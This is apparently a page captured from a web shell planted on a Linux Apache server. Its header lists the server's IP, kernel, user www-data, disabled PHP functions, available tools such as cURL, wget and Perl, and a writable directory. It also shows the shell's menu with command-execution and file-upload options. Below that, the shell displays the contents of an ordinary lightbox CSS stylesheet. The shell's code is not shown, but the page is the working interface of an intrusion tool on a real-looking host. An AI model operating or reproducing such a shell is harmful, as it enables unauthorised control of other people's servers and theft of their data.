|
Server IP : 128.199.20.84 / Your IP : 172.70.127.58 Web Server : Apache/2.4.41 (Ubuntu) System : Linux competent-maruti 5.4.0-128-generic #144-Ubuntu SMP Tue Sep 20 11:00:04 UTC 2022 x86_64 User : www-data ( 33) PHP Version : 8.0.20 Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare, MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : OFF Directory (0775) : /var/www/html/assets/css/ |
| [ Home ] | [ C0mmand ] | [ Upload File ] |
|---|
.viewbox-container{
position: fixed;
top: 0;
left: 0;
right: 0;
bottom: 0;
background: rgba(0,0,0,.5);
z-index: 700;
}
.viewbox-body{
display: flex;
flex-direction: column;
position: absolute;
top: 50%;
left: 50%;
background: #fff;
-webkit-border-radius: 10px;
-moz-border-radius: 10px;
border-radius: 10px;
-webkit-box-shadow: 0 0 10px rgba(0, 0, 0, 0.6);
-moz-box-shadow: 0 0 10px rgba(0, 0, 0, 0.6);
box-shadow: 0 0 10px rgba(0, 0, 0, 0.6);
overflow: auto;
}
.viewbox-header{
padding: 10px 0 0;
margin: 0 10px;
overflow: hidden;
text-overflow: ellipsis;
white-space: nowrap;
max-width: 100%;
}
.viewbox-content{
margin: 10px;
width: 300px;
height: 300px;
}
.viewbox-footer{
padding: 0 0 10px;
margin: 0 10px;
overflow: hidden;
text-overflow: ellipsis;
white-space: nowrap;
max-width: 100%;
}
.viewbox-content .viewbox-image{
width: 100%;
height: 100%;
}
/* buttons */
.viewbox-button-default{
cursor: pointer;
height: 64px;
width: 64px;
}
.viewbox-button-default > svg{
width: 100%;
height: 100%;
background: inherit;
fill: inherit;
pointer-events: none;
transform: translateX(0px);
}
.viewbox-button-default{
fill: #999;
}
.viewbox-button-default:hover{
fill: #fff;
}
.viewbox-button-close{
position:absolute;
top:10px;
right: 10px;
z-index:9;
}
.viewbox-button-full-screen{
position:absolute;
top:84px;
right: 10px;
z-index:9;
}
.viewbox-button-next,
.viewbox-button-prev{
position:absolute;
top: 50%;
height: 128px;
width: 128px;
margin: -64px 0 0;
z-index:9;
}
.viewbox-button-next{
right: 10px;
}
.viewbox-button-prev{
left: 10px;
}
@media (max-width: 480px) {
.viewbox-button-close{
top: 0;
right: 0;
}
.viewbox-button-next,
.viewbox-button-prev{
height: 81px;
width: 81px;
margin-top: -40px;
}
.viewbox-button-next{
right:-15px;
}
.viewbox-button-prev{
left:-15px;
}
}
/* loader */
.viewbox-container .loader{
widows: 100%;
position: absolute;
left: 50%;
top: 50%;
margin:-25px 0 0 -25px;
}
.viewbox-container .loader *{
margin: 0;
padding: 0;
}
.viewbox-container .loader .spinner{
width: 50px;
height: 50px;
position: relative;
margin: 0 auto;
}
.viewbox-container .loader .double-bounce1,
.viewbox-container .loader .double-bounce2{
width: 100%;
height: 100%;
border-radius: 50%;
background-color: #999;
opacity: 0.6;
position: absolute;
top: 0;
left: 0;
-webkit-animation: sk-bounce 2.0s infinite ease-in-out;
animation: sk-bounce 2.0s infinite ease-in-out;
}
.viewbox-container .loader .double-bounce2 {
-webkit-animation-delay: -1.0s;
animation-delay: -1.0s;
}
@-webkit-keyframes sk-bounce{
0%, 100% { -webkit-transform: scale(0.0) }
50% { -webkit-transform: scale(1.0) }
}
@keyframes sk-bounce{
0%, 100% {
transform: scale(0.0);
-webkit-transform: scale(0.0);
} 50% {
transform: scale(1.0);
-webkit-transform: scale(1.0);
}
}